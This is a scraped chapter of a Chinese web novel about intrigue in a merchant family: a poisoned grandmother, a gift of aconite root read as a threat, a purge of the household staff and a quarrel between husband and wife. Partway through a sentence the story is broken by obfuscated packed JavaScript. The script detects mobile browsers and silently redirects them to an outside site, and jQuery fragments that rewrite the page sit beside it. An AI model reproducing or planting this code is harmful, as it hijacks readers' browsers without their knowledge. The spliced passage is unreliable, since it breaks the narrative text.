“老夫人，你说大小姐怎会好端端地送庶老夫人一块川乌呢？”


    待谭墨竹离去，又唤走其他仆从后，方嬷嬷将房门一关，来到床前俯下身对范文澜窃窃私语。


    尽管范文澜是吃了河豚才中毒，而那块川乌连个角都没有少，但出于谨慎，方嬷嬷还是将其拿走，交给了范文澜。


    “好端端地？”


    听到这四个字，范文澜扯着嘴角笑了，拿起置于床边几上的川乌，对着窗户射进来的光来回打量。


    日光照不到床榻，范文澜的脸隐于阴影，让方嬷嬷看不清她此刻的表情，更摸不透她的想法。


    “难道…她知道了那件事？”


    方嬷嬷将声音压得更低，腰也弯得更下去，整个人都融入了床边的阴影里。


    “可她那会儿才多大呀……”


    察觉到范文澜变了脸色，她后面的话声若蚊蝇，逐渐消失在漂浮在空气中的尘埃里。


    “呵！”


    范文澜放下了那块川乌，抬起了头，看向方嬷嬷的眼神丝毫不心虚，“当年，我们没做错什么。”


    “别说我们永年镇，便是整个富顺县，乃至叙州府，死了多少人？”


    “谁死谁活，全看天意。”


    “与其苟延残喘，不如早早结束痛苦。”


    “是！”方嬷嬷重重点头。


    范文澜扬起下巴点了点那块川乌，“别庄湿潮，阿香送川乌给玉娥很是贴心，只是才送一块，怎能够用，你去找温大夫再买些回来送去西院，然后向玉娥赔个不是。”


    “是！老夫人。”方嬷嬷再颔首。


    待她捧着那块川乌从范文澜的寝卧出来时，发现额头已浸满汗渍，而手里这块川乌似是比拿来时沉了几分。


    ……


    “夫人，主院送来这么多川乌是何用意？在警告我们吗？”


    翌日，方嬷嬷便将一包川乌送来了西院，同时归还了先前拿走的那块，并郑重向江玉娥下跪赔礼。


    江玉娥自然没有为难她，送走这尊大神后，借故回房歇息之际，肖嬷嬷道出了自己的忧心猜测。


    前几日范文澜突然中毒，她曾一度以为是自家主子干的，虽说后来证明此事与江玉娥无关，可那日看她与方嬷嬷对峙，就像换了个人似的，很难不让有心之人产生狐疑与警惕。


    即使是肖嬷嬷自己，也忍不住会去猜想，她会不会不再隐忍，反抗一次。


    “她做事，向来不会只奔着一个目的。”江玉娥淡然依旧，只是眼底再无空洞，一些微小的情绪正酝酿其间。


    她确实变了，但并不明显，宛如被石头压住的草，正一点点摆脱压迫。


    “那除了警告，她还想表明什么？”肖嬷嬷凝眉问。


    闻言，江玉娥搭在在双腿上的手，卷曲成拳，目光随之下沉，从齿缝间挤出了几个字，“她没错！”


    “咦？”


    晚膳时，赵明煙蓦地发现，菜的味道全都变了，就像换了个厨子。


    “东厨换了一批人。”范文澜蓦地开口。


    她已然能下床活动了，进食也没什么问题，只是比从前虚弱了不少，说话有气无力。


    不过她的双眼仍旧炯炯有神，尤其在此刻。


    她随即看向拿着筷子没动的赵明煙，莞尔说：“要是他们做的饭菜不合烟儿的胃口，再换人便是。”


    “祖母，不用！”


    赵明煙忙不迭摇头，赶紧将夹起来的菜喂进嘴里，嚼碎咽下后，才说道：“不是不合胃口，只是还没习惯。”


    范文澜又是微微一笑，接着说道：“烟儿最近为织房的事，商行的事，操劳不少，人都瘦了。”


    赵明煙被她这突如其来的话弄得一头雾水，隐隐有种不安的感觉。


    一旁的谭林霜皱起了眉，捏筷子的手紧了紧。


    “是呀！现下一换厨子，更要瘦了。”谭墨竹点头附和。


    谭林霜的眉头锁得更深了，跟着便听范文澜又说：“身体要紧，烟儿就先打理好贞节堂的织房就行，商行的事，让你小叔去忙，反正他整日游手好闲，与其在外面花天酒地，不如把他拴在商行里。”


    赵明煙一怔，拿筷子的手差点松掉。


    “祖母，我……”


    “咳！”


    谭林霜抬脚撞了一下她的小腿，及时打断她的话，然后对范文澜笑着说：“正好让她多留在家里陪我温书。”


    “是陪你温书呢，还是跟你…嗯嗯嗯……”


    谭墨竹放下碗筷，伸出两根大拇指，相互对了对，一双眼弯成两个钩子，勾人院里的家花不偿命。


    “小叔！”谭林霜当即嗔了他一眼。


    “哎呀…你个没正经的。”范文澜也朝他扔去了一个眼刀子。


    祖孙仨说说笑笑，一顿饭吃得比平时还热闹。


    唯有赵明煙，味同嚼蜡，努力吃了三碗饭，以免被旁人看出端倪。


    “嗝儿！”


    一走出主院，她就没忍住打了个大饱嗝儿，溢出一股子她闻着陌生的嗳气。


    小烛嗅了嗅，揉着鼻子说：“小姐晚膳用得好急，感觉像是囫囵吞进去的，还能闻见菜的原味。”


    “唔…是那盘笋鸡脯。”


    “笋的味道有点重，压住鸡脯的肉鲜味儿了。”


    赵明煙抬手扇了扇飘散在鼻前的味道，撇嘴道：“那盘水晶鹅也没做好，汤汁不够浓稠，没凝结成水晶冻包裹好肉块，一夹起来，肉都散了，更别谈口感爽滑了。”


    “只有烧蹄子还行。”


    摆摆手，比起对新厨子手艺的不满，她更在意另外件事。


    于是等到谭林霜步出后，她连忙迎上，挽住了他，迫不及待地问：“祖母单独留下你作甚？”


    谭林霜不动声色，淡淡道来：“没什么，问了一下我温书的情况。”


    “哦。”


    赵明煙突然想到，现已入夏，那离秋试就不远了。


    放开科举限制后，许多商贾世家的子弟皆想通过一考入仕，改变家族的命运。


    “夫君……”


    瞅着谭林霜似是如常，又似是心事重重的表情，赵明煙随即将他挽得更紧，嗫嚅问道：“我是不是做错了什么，祖母才会让我离开商行？”


    “祖母不仅换掉了东厨几乎所有的下人，还提前轮换了各家商行的掌柜与二朝奉。”


    谭林霜没有正面回答，与她并肩而行，慢慢返回北院。


    小烛与阿筠跟随其后，踩着二人的影子前行。


    今夜谭府后宅的夜，比平常更寂静，不知是不是遣散了一些下人还没来得及补上的缘故。


    谭林霜的声音也很轻，只有赵明煙能听清。


    “不过主商行让小叔去管了，祖母让三堂叔今后只负责竹筢街的租赁收取，以及商铺打理。”


    “什么？这不是在变相排挤三堂叔吗？”赵明煙愕然。


    谭林霜目视着前方，但并未有什么焦距，“三堂叔自己倒是没觉着有什么不妥，不满的是他那一支的家人，不过这都是我小叔操心的事，与我无关。”


    “夫君，是我的错吧？”


    赵明煙猛然意识到，范文澜这次府里府外大换血，是在防备所有人，包括她，而结果便是，她和谭林霜之前的心血白费，要想再次进入商行，怕是更加不易。


    单从范文澜让闲散惯了的谭墨竹去掌管主商行，便能看出一二。


    眼下，她唯一信任的人，不是她的孙子，而是儿子。


    这一点对谭林霜来说，可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990882|172933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谓扎心。


    “你像一颗石子儿，落进了表面平静，实则暗涌起伏的水里，溅出了水花，激起了涟漪，也将暗潮推向水面。”


    谭林霜转头看着她，涣散的焦距逐渐集中到她的脸上，如炬如芒。


    赵明煙咬住了下唇，与他对视的眸光微微颤动。


    “还能…还能补救吗？”她怯怯地问道。


    善贾之人，却不善家宅纷争。


    “我要去看会书，你先睡吧。”


    谭林霜拉下她挽在自己胳膊上的手，带着阿筠径直朝书房走去。


    “少爷真打算改走仕途之路？”


    来到书房，点好蜡烛后，见谭林霜于书案后坐下，随手翻开了一卷《周易传义大全》，阿筠试探询问。


    谭林霜的视线盯着页面，双眉微微蹙起，“仕途比行商之路更难走，更充满血腥。”


    “那…你是在生少奶奶的气？”阿筠小心翼翼地问道。


    “小姐，姑爷方才好像给你甩脸子了？”


    寝卧里，小烛一边帮赵明煙洗漱，一边小声埋怨。


    “老夫人中毒，成了惊弓之鸟，对谁都防一手，这我懂，可这又不是你的错，说白了，不过是老夫人运气不好。”


    “她若是运气不好，我们今晚就该吃席了。”赵明煙一本正经地说道。


    “咳！”


    小烛险些失笑，她拿起梳子，替赵明煙细细梳理发丝，“小姐，自从你嫁人以后，就跟从前不一样，做事蹑手蹑脚不说，还有些多愁善感。”


    “多愁善感？”


    赵明煙抬眸看向铜镜中的自己，“哪有？我只是…年岁渐长，没从前天真烂漫了。”


    “小姐，嫁人真不好，我以后才不要嫁人。”小烛噘嘴说道。


    “不嫁人，像方嬷嬷、邱嬷嬷、李嬷嬷那般，一直伺候在主子身旁吗？”赵明煙笑问。


    “有何不可？我看李嬷嬷与夫人就处得不错。”小烛说道。


    赵明煙透过铜镜觑着她，阴恻恻地说：“李嬷嬷从前是我爹的通房，在我娘身子不适时，便会伺候床榻。”


    小烛拿梳子的手一抖，忙摆手摇头，“我可不要当姑爷的通房，半夜我总听见你被他弄哭，怪吓人的。”


    赵明煙哑然失笑，而后低声喃喃道：“傻人有傻福，你这样挺好。”


    小烛没听见，继续说道：“虽然这件事不是小姐里的错，可夫妻和睦总好过冷脸相对，况且，你还没日月入怀呢，不如今晚哭得更惨一点，让姑爷心软，不再与你置气。”


    赵明煙已是啼笑皆非。


    不过在等到谭林霜回房后，她忽觉小烛的话甚为在理，二人成亲图的就是多生孩子，好让赵谭两家香火不断，其他事情皆可往后一放，生孩子要紧。


    “夫君……”


    所以谭林霜一躺下，赵明煙就趴了上去，主动索吻。


    “娘子，我看书看累了。”


    谁料，谭林霜在她亲下来的一刹那，别开脸闭眼婉拒。


    见他重回当初的“躺床成佛”的状态，赵明煙顿觉扫兴，怫然不悦地翻身背对着他，又把被子往自己这边拉过来一些。


    旋即，谭林霜的右边身体露出少许，他干脆也转身侧睡背对着赵明煙。


    二人的中间，留下一道缝隙。


    本着你不给我好脸色，我就直接黑脸的原则，赵明煙和谭林霜开始冷战。


    白日里，相看无语；夜里，背对背而眠。


    就连小烛也受此影响，碰到阿筠就翻白眼，令后者一脸莫名。


    “这丫头是患上什么古怪的眼疾了吗？”


    直至，李嬷嬷突然造访，一见到赵明煙，就泣不成声，“小姐，家里出大事了，你快跟我回去一趟吧！”